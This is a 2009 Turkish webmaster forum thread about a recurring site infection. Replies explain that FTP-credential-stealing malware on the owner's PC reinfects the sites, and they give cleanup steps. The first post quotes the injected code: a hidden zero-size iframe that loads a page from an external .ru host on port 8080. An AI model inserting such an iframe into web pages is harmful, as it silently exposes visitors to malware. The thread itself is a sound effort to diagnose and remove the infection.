• 03-11-2009, 15:38:29
    #1
    Mrb Arkadaşlar. iki gündür bu sorun la uğraşıyorum ne yapacağım bende bilmiyorum nasıl baş ederim yardımlarınızı bekliyorum.

    Dün Sunucu da bi sitede Parse :Syntax Error vs..vs.. index.php 172.
    satır da hatayı gördüm zaten o satırı açtıgımda

    <iframe frameborder="0" onload="if (!this.src){ this.src='http://intelekt-testing.ru:8080/index.php'; this.height='0'; this.width='0';}" >bpscehlwufjgxcweiyhqdklnkfebjbu</iframe>
    bu iframeyi gördüm. backup restoreden geçen haftaki yedegi yükledim sorun kalktı. bu sabah aynı sunucuda 3 sitede yine aynı sorun çıktı ve dünkü geri yükledigim sitede de tekrar dan aynı virüs çıktı.

    şu anda tekrar dan geri yükledim siteleri ama sanırım çözüm degil. acaba ne yapabilirim?
  • 05-11-2009, 22:20:16
    #2
    Arkadaşlar özür dilerim konuyu uplamak zorunda kaldım. sorunum halen devam ediyor bu konu hakkında yardımcı olabilecek kimse varmı
  • 05-11-2009, 22:27:35
    #3
    Bu kod bu virüsün son sürümü.Format cpanel şifresi değiştirme cuteftp'den flashfxp'ye geçiş vs kar etmedi.Windows XP den 7 ye geçtim öyle kurtuldum.
  • 05-11-2009, 22:37:40
    #4
    FTP şifresini güvenli bir bilgisayardan değiştir. Yedekleri geri yüklersin düzelir, şifreyi değiştirmezsen yine oturum açıp yenilenir kod.
  • 05-11-2009, 23:05:21
    #5
    Bende gecen hafta aynı sorunu yaşadım bu vürüsün çalışma mantığını anlarsan sorundan kurtulursun ben öyle kurtuldum.

    Şimdi muhtemelen senin ftp ye bağlanmak için kullandığın bilgisayarında paroların otomatik kaydolmuştur. Ve bu vürüs saatte bir 2 saatte 1 ordan sitene girip kendini index dosyalarına kopyalıyordur.

    Yani kurtulmak istiyosan önce ftp şifreni değişeceksin. Ve bu şifre ile virüsün bulundugu makinadan asla ftp ye bağlanmayacaksın. Gidip normal temiz bi makinadan yeni şifrenle ftp ne gireceksin ve eski yedeğini atacaksın. Siten düzelir.

    Senin pc ye gelelim ona bi format at temizle iyice bi dahada ftp ye bağlandıgında çıkışta şifrelerini sil.